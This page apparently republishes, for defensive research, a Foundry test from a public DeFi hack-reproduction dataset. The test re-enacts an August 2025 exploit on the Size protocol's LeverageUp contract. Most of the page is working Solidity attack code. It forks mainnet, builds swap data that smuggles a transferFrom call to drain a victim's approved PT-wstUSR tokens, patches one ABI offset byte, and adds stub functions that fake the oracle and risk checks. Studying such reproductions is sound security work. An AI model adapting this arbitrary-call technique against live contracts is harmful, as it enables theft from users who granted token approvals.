Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/SizeCredit_exp.sol

Public reproduction file for dataset entry SizeCredit.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/SizeCredit_exp.sol176 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 19.7k USD
8// Attacker : https://etherscan.io/address/0xa7e9b982b0e19a399bc737ca5346ef0ef12046da
9// Attack Contract : https://etherscan.io/address/0xa6dc1fc33c03513a762cdf2810f163b9b0fd3a71
10// Vulnerable Contract : https://etherscan.io/address/0xf4a21ac7e51d17a0e1c8b59f7a98bb7a97806f14
11// Attack Tx : https://etherscan.io/tx/0xc7477d6a5c63b04d37a39038a28b4cbaa06beb167e390d55ad4a421dbe4067f8
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xf4a21ac7e51d17a0e1c8b59f7a98bb7a97806f14#code
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/SuplabsYi/status/1956306748073230785
19// Hacking God : N/A
20pragma solidity ^0.8.0;
22address constant PT_WSTUSR = 0x23E60d1488525bf4685f53b3aa8E676c30321066;
23address constant LEVERAGE_UP = 0xF4a21Ac7e51d17A0e1C8B59f7a98bb7A97806f14;
24address constant VICTIM = 0x83eCCb05386B2d10D05e1BaEa8aC89b5B7EA8290;
26contract SizeCredit is BaseTestWithBalanceLog {
27 uint256 blocknumToForkFrom = 23145764 - 1;
29 function setUp() public {
30 vm.createSelectFork("mainnet", blocknumToForkFrom);
31 fundingToken = PT_WSTUSR;
32 }
34 function testExploit() public balanceLog {
35 // Root cause: leverageUpWithSwap lacks check of given data, attacker passed malicious data to execute arbitrary calls
36 IERC20 wstUSR = IERC20(PT_WSTUSR);
37 uint256 bal = wstUSR.balanceOf(VICTIM);
38 uint256 allowance = wstUSR.allowance(VICTIM, LEVERAGE_UP);
39 uint256 amount = bal;
40 if (allowance < amount) {
41 amount = allowance;
42 }
44 SellCreditMarketParams[] memory marketParams = new SellCreditMarketParams[](1);
45 uint256 max = type(uint256).max;
46 marketParams[0] = SellCreditMarketParams({
47 lender: address(this),
48 creditPositionId: max,
49 amount: max,
50 tenor: max,
51 deadline: max,
52 maxAPR: max,
53 exactAmountIn: true
54 });
55 SwapParams[] memory swapParams = new SwapParams[](1);
57 bytes memory inner = abi.encodeWithSelector(
58 bytes4(keccak256("transferFrom(address,address,uint256)")),
59 VICTIM,
60 address(this),
61 amount
62 );
63 bytes memory data = abi.encode(
64 32,
65 PT_WSTUSR,
66 address(this),
67 inner
68 );
70 // Change 0x80 to 0x60
71 data[127] = hex"60";
72 // console.logBytes(data);
74 swapParams[0] = SwapParams({
75 method: SwapMethod.GenericRoute,
76 data: data
77 });
79 ILeverageUp(LEVERAGE_UP).leverageUpWithSwap(
80 address(this),
81 marketParams,
82 address(this),
83 0,
84 1 ether,
85 0,
86 swapParams
87 );
88 }
90 function riskConfig() public view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
91 return (
92 1 ether + 1,
93 type(uint256).max,
94 0,
95 type(uint256).max,
96 0,
97 type(uint256).max
98 );
99 }
101 function data() public returns(uint256, uint256, address, address, address, address, address, address) {
102 return (
103 type(uint256).max,
104 type(uint256).max,
105 PT_WSTUSR,
106 address(this),
107 address(this),
108 address(this),
109 address(this),
110 address(this)
111 );
112 }
113 function oracle() public returns(address, uint64) {
114 return (address(this), uint64(0));
115 }
116 function getPrice() public returns(uint256) {
117 return 1 ether;
118 }
119 function transferFrom(address sender, address recipient, uint256 amount) public returns(bool) {
120 return true;
121 }
122 function approve(address spender, uint256 amount) public returns(bool){
123 return true;
124 }
125 function deposit(DepositParams memory param) public {
126 }
127 function balanceOf(address account) public view returns(uint256) {
128 return 2;
129 }
130 function debtTokenAmountToCollateralTokenAmount(uint256 borrowATokenAmount) public view returns(uint256) {
131 return 1;
132 }
135struct DepositParams {
136 address token;
137 uint256 amount;
138 address to;
141struct SellCreditMarketParams {
142 address lender;
143 uint256 creditPositionId;
144 uint256 amount;
145 uint256 tenor;
146 uint256 deadline;
147 uint256 maxAPR;
148 bool exactAmountIn;
151enum SwapMethod {
152 OneInch,
153 Unoswap,
154 UniswapV2,
155 UniswapV3,
156 GenericRoute,
157 BoringPtSeller,
158 BuyPt
161struct SwapParams {
162 SwapMethod method;
163 bytes data;
166interface ILeverageUp {
167 function leverageUpWithSwap(
168 address size,
169 SellCreditMarketParams[] memory sellCreditMarketParamsArray,
170 address tokenIn,
171 uint256 amount,
172 uint256 leveragePercent,
173 uint256 borrowPercent,
174 SwapParams[] memory swapParamsArray
175 ) external;

Analysis

Dataset entry

Public Foundry test for “SizeCredit” (2025-08-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xa7e9b982b0e19a399bc737ca5346ef0ef12046da

  • Attack Contract

    0xa6dc1fc33c03513a762cdf2810f163b9b0fd3a71

  • Vulnerable Contract

    0xf4a21ac7e51d17a0e1c8b59f7a98bb7a97806f14

  • Attack Tx

    0xc7477d6a5c63b04d37a39038a28b4cbaa06beb167e390d55ad4a421dbe4067f8

File record

Name
SizeCredit
Path
src/test/2025-08/SizeCredit_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
3f9a7591aee2a4c73cb721dbf95fed88ab48cdf0
Language
Solidity
Size
176 lines
Date
2025-08-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/SizeCredit_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3f9a7591aee2a4c73cb721dbf95fed88ab48cdf0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.